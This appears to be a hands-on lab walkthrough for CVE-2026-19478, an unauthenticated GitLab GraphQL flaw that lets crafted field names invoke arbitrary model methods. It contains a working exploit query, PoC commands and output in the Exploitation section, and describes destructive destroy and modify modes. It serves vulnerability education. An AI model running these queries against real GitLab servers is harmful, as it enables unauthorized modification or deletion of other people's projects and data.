Labs

CVE-2026-19478: GitLab GraphQL Fallback-Field Arbitrary Method Invocation

Docker lab Arbitrary Method Invocation

Updated August 20, 2026 · Written by PWNMI — see About.

GitLab's GraphQL API is enormous, and like most GraphQL implementations, it's designed to fail gracefully when a client asks for a field that doesn't exist — rather than hard-erroring, unrecognized fields can resolve through fallback logic meant for forward compatibility. CVE-2026-19478 turns that graceful-degradation feature into an authorization bypass: pair any unrecognized field name with a @gl_introduced(version: "<some future version>") directive, and GitLab's fallback resolver calls object.public_send(<field_name>) directly on the underlying ActiveRecord model — no allowlist on which method is safe to invoke this way, and no authentication required against any publicly-visible project or user.

Affects GitLab CE/EE >= 18.2, < 18.11.11, < 19.0.8, < 19.1.6, < 19.2.4. Fixed in the corresponding patch releases (fix commit e283c6ad, "Prevent calling object method when resolving fallback field"). PoC and research: davkharrr/CVE-2026-19478-PoC.

What you'll practice: crafting a GraphQL query by hand to reach a code path the schema was never meant to expose, distinguishing a benign proof-of-concept call from a destructive one before you run either, and confirming a claimed side effect through a second, independent read rather than trusting the exploit's own "success" output.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-19478
cd cve-labs/CVE-2026-19478

poc.py needs the requests library. Kali (and any modern Debian-based distro) blocks pip install straight into system Python by default — a venv is the fix, not --break-system-packages:

python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
docker compose up -d

GitLab's own gitlab-ctl reconfigure takes several minutes on first boot. Wait for the container to report healthy:

docker compose ps

No ports are published — reach it on its own IP:

CONTAINER=$(docker compose ps -q gitlab)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')

Understanding the vulnerability

GraphQL schemas evolve, and GitLab's own schema carries a @gl_introduced(version: "...") directive on newer fields so old clients can query against a schema version that doesn't have them yet without the whole request failing. The resolver responsible for handling an unrecognized field name combined with this directive treats it as a legitimate "field introduced in a version you don't have" case — and, rather than rejecting the field outright, falls back to calling it as a method on the underlying Ruby object: object.public_send(field_name).

public_send is Ruby's mechanism for invoking any public method on an object by name, string-supplied at runtime. It exists for legitimate metaprogramming, but it makes no distinction between the handful of methods a GraphQL field resolver should ever need and the full public API surface of an ActiveRecord model — which, for a class like Project or User, includes methods like touch (bump the update timestamp), destroy (delete the record), and dozens of others no client should ever be able to trigger by naming them in a query string. Anyone who can send an unauthenticated GraphQL request against a publicly-visible project or user can pick any of those methods and have GitLab call it on the object.

Exploitation

GitLab ships with no projects by default, and the PoC needs a public one to target — the CVE itself doesn't create the target, it acts on one that already exists:

docker exec $CONTAINER gitlab-rails runner "
  Projects::CreateService.new(
    User.find_by(username: 'root'),
    name: 'ssti-public-test',
    path: 'ssti-public-test',
    visibility_level: Gitlab::VisibilityLevel::PUBLIC
  ).execute
"

poc.py builds and sends the GraphQL request for you. Start with --mode check, which invokes Project#touch — it updates a timestamp and creates or deletes nothing, unlike the tool's destroy/delete/modify modes:

python3 poc.py --url http://$IP --project root/ssti-public-test --mode check
[*] Query:
query {
  project(fullPath: "root/ssti-public-test") {
    name
    touch @gl_introduced(version: "999.0.0")
  }
}
[*] HTTP 200
[+] VULNERABLE: 'touch' was invoked on the target object (response value: True).

An HTTP 200 and a true in the response is the API's own self-report — confirm the side effect through a completely separate read. Query the same object directly, independent of anything the exploit touched:

docker exec $CONTAINER gitlab-rails runner "
  p = Project.find_by_full_path('root/ssti-public-test')
  puts \"created_at=#{p.created_at}\"
  puts \"updated_at=#{p.updated_at}\"
"

If updated_at sits noticeably after created_at — seconds later, not identical — that's the real evidence touch genuinely ran server-side through the unauthenticated GraphQL request, not just that the API claimed it did.

The same primitive reaches destroy and modify modes, which delete or mutate the target object for real — worth knowing they exist and how the query differs (swap the field name and adjust --mode), without needing to run them against this or any target to understand the impact.

Cleanup

The check mode used above only bumps a timestamp — there's nothing to meaningfully revert on the target object itself; a real attacker running it leaves no artifact beyond that timestamp shift, which is itself a faint forensic signal (an object updated with no corresponding audit-log entry from a real user action).

The destroy mode is a different story and is worth being explicit about even though this walkthrough didn't run it: it calls Rails' own ActiveRecord#destroy, which is a real, permanent delete. There is no "undo" for it beyond restoring from a backup taken before the attack — document what was destroyed and when, don't attempt to reconstruct it by hand.

The one artifact this lab run actually created is the public test project itself, root/ssti-public-test — that's a setup step this walkthrough performed to have something to target, not something the CVE created on its own. Remove it the same way it was made:

docker exec $CONTAINER gitlab-rails runner "
  p = Project.find_by_full_path('root/ssti-public-test')
  Projects::DestroyService.new(p, User.find_by(username: 'root')).execute if p
"

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • Graceful-degradation logic is a common place for authorization gaps to hide. The fallback path existed to keep old GraphQL clients working against a newer schema — a reasonable, well-intentioned feature. Nobody threat-modeled what it meant to let arbitrary method names reach public_send on a live model.
  • A generic dispatch primitive (public_send, send, reflection, dynamic dispatch in any language) is only as safe as whatever calls it. The method itself isn't the bug — invoking it with an attacker-controlled, unchecked argument is. The same pattern shows up any time user input picks a method or function name that then gets called dynamically.
  • Distinguish a proof from a mutation before you run either. This PoC's own --mode flag draws the line explicitly — check versus destroy/delete/modify — but that distinction only matters if you read the tool before running it. Not every exploit script is this considerate about labeling which of its options are safe to run against a target you care about.

Next step

For another case where a authorization check gap let unauthenticated requests act on objects they shouldn't reach, see CVE-2026-62183 (Apache Syncope). For the general skill of crafting and replaying API requests by hand, like the GraphQL queries in this walkthrough, see Burp Suite Fundamentals.